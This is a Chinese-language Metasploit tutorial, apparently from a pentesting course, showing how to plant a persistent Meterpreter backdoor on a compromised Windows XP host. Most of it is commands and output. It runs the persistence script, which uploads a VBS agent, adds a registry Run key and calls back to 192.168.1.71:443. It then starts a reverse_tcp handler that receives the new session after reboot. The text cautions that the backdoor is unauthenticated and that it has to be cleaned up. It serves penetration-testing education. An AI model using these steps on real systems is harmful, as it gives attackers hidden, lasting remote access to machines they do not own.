Metasploit Meterpreter持久后门服务:persistence

了解Metasploit Meterpreter

在经历了exploit系统的所有艰苦工作之后,为自己留下更简单的方法回到系统供以后使用通常是一个好主意。这样,如果您最初exploit的服务已关闭或打补丁,您仍然可以访问系统。Metasploit有一个Meterpreter脚本persistence.rb,它将创建一个Meterpreter服务,即使远程系统重新启动,您也可以使用该服务。

 

在我们继续前进之前,有一个警告词。此处显示的持续Meterpreter不需要身份验证。这意味着任何进入港口的人都可以进入后门!如果您正在进行渗透测试,这不是一件好事,因为这可能是一个重大风险。在真实世界的情况下,请务必谨慎行事,并确保在完成约定后自行清理。

Meterpreter

 

一旦我们最初exploit主机,我们使用'-h'开关运行持久性脚本来查看哪些选项可用:

meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

    -A   自动启动一个匹配的exploit / multi / handler来连接到代理
    -L   如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
    -P   有效负载使用,默认为windows / meterpreter / reverse_tcp。
    -S   作为服务自动启动代理程序(具有SYSTEM权限)
    -T   要使用的备用可执行模板
    -U   用户登录时自动启动代理
    -X   系统引导时自动启动代理程序
    -h   这个帮助菜单
    -i   每次连接尝试之间的时间间隔(秒)
    -p   运行Metasploit的系统正在侦听的端口
    -r   运行Metasploit监听连接的系统的IP

 

我们将配置我们的持续Meterpreter会话,以等待用户登录到远程系统,并尝试每5秒钟在端口443上的IP地址192.168.1.71连接回监听器。

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >

 

请注意,脚本输出为您提供了在完成时删除持久侦听器的命令。请务必记下它,以免在系统上留下未经验证的后门程序。要验证它是否有效,我们重启远程系统并设置我们的payload handler程序。

meterpreter > reboot
Rebooting...
meterpreter > exit

[*] Meterpreter session 3 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler...

 

当用户登录到远程系统时,为我们打开一个Meterpreter会话。

[*] Sending stage (748544 bytes) to 192.168.1.161
[*] Meterpreter session 5 opened (192.168.1.71:443 -> 192.168.1.161:1045) at 2010-08-21 12:31:42 -0600

meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter >

 

    A+
发布日期:2018年06月06日 23:56:19  所属分类:Metasploit
最后更新时间:2018-06-06 23:59:01
付杰
  • ¥ 999.0元
  • 市场价:1599.0元
  • ¥ 199.0元
  • 市场价:199.0元
  • ¥ 45.0元
  • 市场价:45.0元
  • ¥ 79.0元
  • 市场价:129.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: